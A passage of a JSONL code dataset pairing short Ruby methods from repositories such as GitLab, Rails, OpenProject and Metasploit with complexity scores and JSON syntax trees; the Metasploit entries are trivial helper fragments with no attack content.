}]}]}]}]}","id":"e9ae5f83-1772-4fb9-a3e5-dac0b2c7c847"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb","start_line":42,"raw_source":"def generate(_opts = {})\n    return super + command_string\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]}]}]}","id":"614ae4f9-6c7b-4f43-8c47-9109a47807a3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_agenda_items_controller.rb","start_line":264,"raw_source":"def init_next_meeting_occurrence\n    return @next_occurrence if @next_occurrence.present?\n\n    call = ::RecurringMeetings::InitOccurrenceService\n    .new(user: User.system, recurring_meeting: @series)\n    .call(start_time: @next_meeting_time)\n\n    if call.success?\n      call.result\n    else\n      respond_with_flash_error(message: call.message)\n      nil\n    end\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"init_next_meeting_occurrence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@next_occurrence\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@next_occurrence\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RecurringMeetings\"]},\"InitOccurrenceService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"recurring_meeting\"]},{\"type\":\"ivar\",\"children\":[\"@series\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"ivar\",\"children\":[\"@next_meeting_time\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"result\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_with_flash_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"message\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"28a0968c-1736-4806-872f-5b06976a3ba6"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/db/system/change/change_generator.rb","start_line":197,"raw_source":"def devcontainer?\n              return @devcontainer if defined?(@devcontainer)\n\n              @devcontainer = File.exist?(File.expand_path(\".devcontainer\", destination_root))\n            end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"devcontainer?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@devcontainer\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@devcontainer\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@devcontainer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\".devcontainer\"]},{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]}]}]}]}]}","id":"5009e7c3-f8e8-43aa-8ff9-95e9be5c941d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/second_factor_manager.rb","start_line":83,"raw_source":"def has_any_second_factor_methods_enabled?\n    totp_enabled? || security_keys_enabled?\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_any_second_factor_methods_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"totp_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"security_keys_enabled?\"]}]}]}","id":"e0a3f9d4-9136-40f4-91a1-90a51cdb010e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb","start_line":122,"raw_source":"def create_tcp_client_channel(params)\n    begin\n      channel = SocketSubsystem::TcpClientChannel.open(client, params)\n      if channel != nil\n        return channel.lsock\n      end\n      return nil\n    rescue ::Rex::Post::Meterpreter::RequestError => e\n      case e.code\n      when 10000 .. 10100\n        raise ::Rex::ConnectionError.new\n      end\n      raise e\n    end\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_tcp_client_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SocketSubsystem\"]},\"TcpClientChannel\"]},\"open\",{\"type\":\"send\",\"children\":[null,\"client\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"lsock\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[10000]},{\"type\":\"int\",\"children\":[10100]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},\"new\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}","id":"bbdc37ab-a773-4d37-a962-fd817bd51d3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/database/collation_checker_worker.rb","start_line":16,"raw_source":"def perform\n      result = Gitlab::Database::CollationChecker.run(database_name: 'main')\n\n      result_with_metadata = {\n        'metadata' => {\n          'last_run_at' => Time.current.iso8601\n        },\n        'databases' => result\n      }\n      Rails.cache.write(COLLATION_CHECK_CACHE_KEY, result_with_metadata.to_json, expires_in: COLLATION_CHECK_CACHE_TTL)\n    rescue StandardError => e\n      Gitlab::AppLogger.error(\"CollationCheckerWorker failed: #{e.message}\")\n      raise\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"CollationChecker\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database_name\"]},{\"type\":\"str\",\"children\":[\"main\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result_with_metadata\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_run_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"iso8601\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"databases\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"write\",{\"type\":\"const\",\"children\":[null,\"COLLATION_CHECK_CACHE_KEY\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_with_metadata\"]},\"to_json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"const\",\"children\":[null,\"COLLATION_CHECK_CACHE_TTL\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CollationCheckerWorker failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"8d7e5f8b-e190-4a3c-a7f7-676d77d47968"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/mock_request.rb","start_line":66,"raw_source":"def request(method = GET, uri = \"\", opts = {})\n      env = self.class.env_for(uri, opts.merge(method: method))\n\n      if opts[:lint]\n        app = Rack::Lint.new(@app)\n      else\n        app = @app\n      end\n\n      errors = env[RACK_ERRORS]\n      status, headers, body = app.call(env)\n      MockResponse.new(status, headers, body, errors)\n    ensure\n      body.close if body.respond_to?(:close)\n    end","complexity_score":25.5,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"method\",{\"type\":\"const\",\"children\":[null,\"GET\"]}]},{\"type\":\"optarg\",\"children\":[\"uri\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"env\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"env_for\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lint\"]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Lint\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@app\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"app\",{\"type\":\"ivar\",\"children\":[\"@app\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"RACK_ERRORS\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MockResponse\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"errors\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"close\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"close\"]},null]}]}]}","id":"f1456038-5ed1-4a3d-8086-66070d901b28"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/wmap_module.rb","start_line":63,"raw_source":"def wmap_target_vhost\n    datastore['VHOST']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wmap_target_vhost\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"VHOST\"]}]}]}","id":"e1d5d194-09ec-4581-9786-0669c8aa124d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/lfs/push_service.rb","start_line":64,"raw_source":"def verify_object!(object, spec)\n      authenticated = spec['authenticated']\n      verify = spec.dig('actions', 'verify')\n\n      lfs_client.verify!(object, verify, authenticated: authenticated)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"verify_object!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authenticated\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"[]\",{\"type\":\"str\",\"children\":[\"authenticated\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"verify\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"dig\",{\"type\":\"str\",\"children\":[\"actions\"]},{\"type\":\"str\",\"children\":[\"verify\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_client\"]},\"verify!\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"verify\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticated\"]},{\"type\":\"lvar\",\"children\":[\"authenticated\"]}]}]}]}]}]}","id":"7b8bbcf0-3e1d-49f4-8eaa-1c3a76a90494"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/attribute_context.rb","start_line":20,"raw_source":"def full_comment\n        send_expression.full_comment || ''\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"full_comment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_expression\"]},\"full_comment\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"b6f17ecb-8780-43d6-b553-f7c4011be04b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/rack_attack/request.rb","start_line":106,"raw_source":"def throttle_authenticated_api?\n        api_request? &&\n          !frontend_request? &&\n          !runner_jobs_request? &&\n          !throttle_authenticated_packages_api? &&\n          !throttle_authenticated_files_api? &&\n          !throttle_authenticated_deprecated_api? &&\n          Gitlab::Throttle.settings.throttle_authenticated_api_enabled\n      end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"throttle_authenticated_api?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"frontend_request?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_jobs_request?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"throttle_authenticated_packages_api?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"throttle_authenticated_files_api?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"throttle_authenticated_deprecated_api?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Throttle\"]},\"settings\"]},\"throttle_authenticated_api_enabled\"]}]}]}","id":"4f6f3372-59b7-45e3-b5f6-51766f46de2b"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/options.rb","start_line":143,"raw_source":"def test_quiet_option\n    options = setup_options_from_input(\"-q\")\n    assert options[:quiet]\n\n    options = setup_options_from_input(\"--quiet\")\n    assert options[:quiet]\n\n    options = setup_options_from_input(\"--no-quiet\")\n    assert !options[:quiet]\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_quiet_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"-q\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quiet\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--quiet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quiet\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"setup_options_from_input\",{\"type\":\"str\",\"children\":[\"--no-quiet\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"quiet\"]}]},\"!\"]}]}]}]}","id":"aba120f2-583d-4b79-82bd-bba8610871b4"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/data/20250222213848_migrate_points_latlon.rb","start_line":4,"raw_source":"def up\n    User.find_each do |user|\n      DataMigrations::MigratePointsLatlonJob.perform_later(user.id)\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DataMigrations\"]},\"MigratePointsLatlonJob\"]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}","id":"8e3f5c4b-6cc9-4f76-8485-e0579be27f63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/work_items_controller.rb","start_line":101,"raw_source":"def maximum_size\n    Gitlab::CurrentSettings.max_attachment_size.megabytes\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"maximum_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"max_attachment_size\"]},\"megabytes\"]}]}","id":"d69cd5d1-2b5b-4e65-86b9-796249582269"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/log_subscriber_test.rb","start_line":254,"raw_source":"def test_where_in_binds_logging_include_attribute_names\n      Developer.where(id: [1, 2, 3, 4, 5]).load\n      assert_match(%{[\"id\", 1], [\"id\", 2], [\"id\", 3], [\"id\", 4], [\"id\", 5]}, @logger.logged(:debug).last)\n    end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_in_binds_logging_include_attribute_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},\"load\"]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"[\\\"id\\\", 1], [\\\"id\\\", 2], [\\\"id\\\", 3], [\\\"id\\\", 4], [\\\"id\\\", 5]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},\"last\"]}]}]}]}","id":"b4b93a90-07a3-4f87-a563-f467c456a801"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration/compatibility.rb","start_line":168,"raw_source":"def disable_extension(name, **options)\n          if connection.adapter_name == \"PostgreSQL\"\n            options[:force] = :cascade\n          end\n          super\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_extension\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"adapter_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"PostgreSQL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"f347455d-3e22-4d22-8f0d-ee455265a65d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/metrics_server/override_rails_constants.rb","start_line":15,"raw_source":"def root\n    Pathname.new(File.expand_path('..', __dir__))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}]}","id":"c72022fa-faba-4241-b82d-1e3c244e3b0f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/resource_helpers.rb","start_line":31,"raw_source":"def controller_class_path\n          if options[:model_name]\n            @controller_class_path\n          else\n            class_path\n          end\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"controller_class_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"model_name\"]}]},{\"type\":\"ivar\",\"children\":[\"@controller_class_path\"]},{\"type\":\"send\",\"children\":[null,\"class_path\"]}]}]}","id":"6f1619b3-2f8a-4de6-bd07-02e016f4ad2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/image.rb","start_line":54,"raw_source":"def build_variables(image)\n          image[:variables].to_a.map do |key, value|\n            { key: key, value: value.to_s }\n          end\n        end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_variables\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"variables\"]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}","id":"054108d7-e688-434b-bf9e-a2638fc4e746"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/storage.rb","start_line":289,"raw_source":"def initialize(storage)\n          @storage = storage\n          @monitor = Monitor.new\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@monitor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Monitor\"]},\"new\"]}]}]}]}","id":"47923bc6-f57c-429f-bfeb-1326e467c29b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/postgres_table_size.rb","start_line":65,"raw_source":"def database_entries\n        @database_entries ||= Gitlab::Database::Dictionary.entries\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"database_entries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@database_entries\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"Dictionary\"]},\"entries\"]}]}]}","id":"6960bb21-f409-4f70-a08e-b8d25b3bb42f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/concerns/accounts/registration.rb","start_line":139,"raw_source":"def account_inactive(user, flash_now: true)\n    if user.registered?\n      account_not_activated(flash_now:)\n    else\n      flash_and_log_invalid_credentials(flash_now:)\n    end\n  